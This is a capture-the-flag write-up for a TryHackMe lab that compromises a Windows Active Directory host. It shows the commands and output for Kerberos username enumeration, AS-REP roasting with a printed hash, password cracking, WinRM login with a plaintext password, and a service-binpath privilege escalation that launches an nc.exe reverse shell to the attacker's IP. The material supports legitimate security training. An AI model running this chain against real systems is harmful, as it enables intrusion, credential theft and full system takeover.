

Services CTF Writeup

Writeup by Substing.

Challenge can be found at: <https://tryhackme.com/room/services>

phase 1: recon

nmap

The first step taken was to see what services were running on the machine.

```
PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Simple DNS Plus
80/tcp    open  http        Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Above Services
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-21
23:47:46Z)
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap        Microsoft Windows Active Directory LDAP (Domain:
services.local., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp open  ldap        Microsoft Windows Active Directory LDAP (Domain:
services.local., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-SERVICES.services.local
| Not valid before: 2023-09-20T23:46:39
|_Not valid after: 2024-03-21T23:46:39
| rdp-ntlm-info:
|_ Target_Name: SERVICES
| NetBIOS_Domain_Name: SERVICES
| NetBIOS_Computer_Name: WIN-SERVICES
| DNS_Domain_Name: services.local
| DNS_Computer_Name: WIN-SERVICES.services.local
```


```
| Product_Version: 10.0.17763
|_ System_Time: 2023-09-21T23:47:48+00:00
|_ssl-date: 2023-09-21T23:47:56+00:00; 0s from scanner time.
MAC Address: 02:00:5A:A9:6C:DF (Unknown)
Service Info: Host: WIN-SERVICES; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Host script results:

```
|_nbstat: NetBIOS name: WIN-SERVICES, NetBIOS user: <unknown>, NetBIOS MAC:
02005aa96cdf (unknown)
| smb2-security-mode:
|   311:
|     Message signing enabled and required
| smb2-time:
|   date: 2023-09-21T23:47:48
|_ start_date: N/A
```

port 80 http

We see a partially finished website.



The screenshot shows a web browser window with the URL `10.10.238.253` in the address bar. The page header includes links for Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, Google Hacking DB, and OffSec. The main content features a large image of a smiling woman in a graduation cap and gown. Overlaid on the image is a white banner with the text "School Education" in large, bold, black letters, followed by the smaller text "Get all courses with on-line content". The top navigation bar of the website has links for HOME, ABOUT US, COURSES, PORTFOLIO, PRICING, and CC.

Nothing notable is returned from a Gobuster scan.

```
/img          (Status: 301) [Size: 148] [--> http://10.10.238.253/img/]
/css          (Status: 301) [Size: 148] [--> http://10.10.238.253/css/]
```

```
/js                                (Status: 301) [Size: 147] [--> http://10.10.238.253/js/]
/fonts                             (Status: 301) [Size: 150] [--> http://10.10.238.253/fonts/]
```

j.doe@services.local is listed on the site. It appears to be a naming convention.

Our Team



Joanne Doe

Sales



Jack Rock

IT Staff



Will Masters

CEO



Johnny LaRusso

Marketing

Based on the users we can see, we can create a list of potential usernames:


```
j.doe
j.rock
w.masters
j.larusso
```

port 88 kerberos

Now that we have a list of usernames, we test them against the Kerberos server.

```
└─(root㉿kali)-[~/Downloads]
```

```
# ./kerbrute userenum -d services.local --dc 10.10.238.253 users.txt
```



```
Version: v1.0.3 (9dad6e1) - 09/22/23 - Ronnie Flathers @ropnop
```

Jack Rock

```
2023/09/22 00:57:44 > Using KDC(s):
```

```
2023/09/22 00:57:44 > 10.10.238.253:88
```

```
2023/09/22 00:57:44 > [+] VALID USERNAME: j.doe@services.local
2023/09/22 00:57:44 > [+] VALID USERNAME: w.masters@services.local
2023/09/22 00:57:44 > [+] VALID USERNAME: j.larutto@services.local
2023/09/22 00:57:44 > [+] VALID USERNAME: j.rock@services.local
2023/09/22 00:57:44 > Done! Tested 4 usernames (4 valid) in 0.020 seconds
```

```
└─(root㉿kali)-[~/Downloads]
```

All our usernames are valid!

Next, an AS-REP roasting attack is run which gives us the password hash for any users who don't have pre-authentication enabled.

```
└─(root㉿kali)-[~/Downloads]
# impacket-GetNPUsers services.local/ -usersfile users.txt -dc-ip 10.10.238.253
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] user j.doe doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$j.rock@SERVICES.LOCAL:5453dee666ce416cb81cddbfb058d3$6c6bb0aa7bf229d6
47a0c22b177f536a8f2147753cae5a252d47617f74aa867b9498e4f2e30f9c61db763bbc3b82440c306c2
7b866c765afcb831cdf00259ce5b51f55acdb50e1ccfb46a663c81ed9cf49662da4775b1ee7db488994c9283988fda93c60e63a31f93090735b27dde0a7baf92911af1ea59e502fde85d96e6974edbda4679591ba21ba774902c
af81a1bfc4a455abe088769b25323977f74b75342553acfe8d385a9a86ad6b4d222a8cd209f041140fad99e736fa4b945b577bda18365fe711f9a8abe063ec17e1ea98df9abf48d1d70900071002e4d0bcab43e1b59f8625
8c980ebe15b05a32a4
[-] user w.masters doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] user j.larutto doesn't have UF_DONT_REQUIRE_PREAUTH set
```

```
$krb5asrep$23$j.rock@SERVICES.LOCAL:5453dee666ce416cb81cddbfb058d3$6c6bb0aa7bf229d6
47a0c22b177f536a8f2147753cae5a252d47617f74aa867b9498e4f2e30f9c61db763bbc3b82440c306c2
7b866c765afcb831cdf00259ce5b51f55acdb50e1ccfb46a663c81ed9cf49662da4775b1ee7db488994
c9283988fda93c60e63a31f93090735b27dde0a7baf92911af1ea59e502fde85d96e6974edbda467959
1ba21ba774902caf81a1bfc4a455abe088769b25323977f74b75342553acfe8d385a9a86ad6b4d222a8c
d209f041140fad99e736fa4b945b577bda18365fe711f9a8abe063ec17e1ea98df9abf48d1d7090007100
2e4d0bcab43e1b59f86258c980ebe15b05a32a4
```

The hash can be cracked easily, and we now have credentials.

```
└─# hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
```

phase 2: access

The credentials successfully allow us to log in.

```
[root@kali]~[~/Downloads]
# crackmapexec winrm 10.10.238.253 -u 'j.rock' -p 'Serviceworks1'
SMB      10.10.238.253 5985  WIN-SERVICES      [*] Windows 10.0 Build 17763 (name:WIN-SERVICES) (domain:services.local)
HTTP     10.10.238.253 5985  WIN-SERVICES      [*] http://10.10.238.253:5985/wsman
WINRM   10.10.238.253 5985  WIN-SERVICES      [+] services.local\j.rock:Serviceworks1 (Pwn3d!)
```

```
[root@kali]~[~/Downloads]
# evil-winrm -i 10.10.238.253 -u j.rock -p Serviceworks1
Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\j.rock\Documents> ls
```

phase 3: escalation

It seems that our user is a member of Server Operators.

```
*Evil-WinRM* PS C:\Users\j.rock\Desktop> whoami /groups
executing commands "whoami /groups" and "whoami /priv" or "Whoami /all"

GROUP INFORMATION
-----
Group Name          Type      SID            Attributes
=====
Everyone           Well-known group S-1-1-0    Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators   Alias     S-1-5-32-549  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias     S-1-5-32-580  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users        Alias     S-1-5-32-545  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias     S-1-5-32-554  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK  Well-known group S-1-5-2    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users  Well-known group S-1-5-11   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization  Well-known group S-1-5-15   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label  S-1-16-8448
```

The article below is relevant to the rest of this escalation process.

<https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/>

Path	Owner	Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\system\CurrentControlSet\services	

C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe	BUILTIN\Administrators	0:5-3.5-21.397955417-626881126-188441444-513	True ADWS
"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"	NT AUTHORITY\Authenticated Users	Allow ReadKey	True AmazonSSMAgent
"C:\Program Files\Amazon\XenTools\LiteAgent.exe"	BUILTIN\Server Operators	Allow FullControl	True AWSLiteAgent
"C:\Program Files\Amazon\cfn-bootstrap\winhup.exe"	BUILTIN\Administrators	Allow FullControl	True cfn-hup
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe	NT AUTHORITY\SYSTEM	Allow FullControl	True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe	CREATOR OWNER	Allow FullControl	True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"	APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES	Output	False Sense
C:\Windows\servicing\TrustedInstaller.exe	APPLICATION PACKAGE AUTHORITY\SYSTEM	Allow SetValue, CreateSubkey, Delete, ReadKey.	False TrustedInstaller
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\NisSrv.exe"	True WdNisSvc		
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\MsMpEng.exe"	True WinDefend		
"C:\Program Files\Windows Media Player\wmpnetwk.exe"	False WMPNetworkSvc		

Evil-WinRM PS C:\Users\j.rock\Documents> █

A number of services are running with privileges. After a number of attempts with a number of different binpaths, one finally works.

```
*Evil-WinRM* PS C:\Users\j.rock\Documents> sc.exe config cfn-hup binpath="C:\Users\j.rock\Documents\nc.exe 10.10.182.49 8888 -e cmd"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Users\j.rock\Documents> sc.exe start cfn-hup
█
```

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

And thus we have pwned the box.